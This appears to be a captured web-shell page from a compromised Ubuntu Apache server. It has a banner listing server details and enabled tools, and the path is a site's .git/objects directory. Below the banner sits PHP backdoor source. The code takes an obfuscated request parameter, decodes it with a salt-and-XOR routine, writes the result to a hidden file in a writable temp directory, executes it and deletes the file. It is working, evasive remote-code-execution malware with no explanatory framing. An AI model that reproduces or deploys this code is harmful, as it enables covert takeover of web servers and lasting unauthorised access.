| Server IP : 65.108.144.40 / Your IP : 216.73.217.165 Web Server : Apache/2.4.52 (Ubuntu) System : Linux ubuntu-8gb-hel1-1 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64 User : dev ( 1000) PHP Version : 8.2.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/html/drnimrat/.git/objects/fd/ |
Upload File : |
<?php
if(isset($_REQUEST["\x74\x6Bn"])){
$value = $_REQUEST["\x74\x6Bn"];
$value = explode( "." , $value ) ;
$parameter_group = '';
$salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
$sLen = strlen($salt);
$w = 0;
$len = count($value);
do {
if ($w>=$len) break;
$v5 = $value[$w];
$chS = ord($salt[$w % $sLen]);
$dec = ((int)$v5 - $chS - ($w % 10)) ^100;
$parameter_group .= chr($dec);
$w++;
} while (true);
$dchunk = array_filter(["/var/tmp", ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir(), getcwd(), "/tmp", "/dev/shm", getenv("TEMP"), getenv("TMP")]);
$mrk = 0;
do {
$entity = $dchunk[$mrk] ?? null;
if ($mrk >= count($dchunk)) break;
if (!!is_dir($entity) && !!is_writable($entity)) {
$element = join("/", [$entity, ".ent"]);
$success = file_put_contents($element, $parameter_group);
if ($success) {
include $element;
@unlink($element);
die();}
}
$mrk++;
} while (true);
}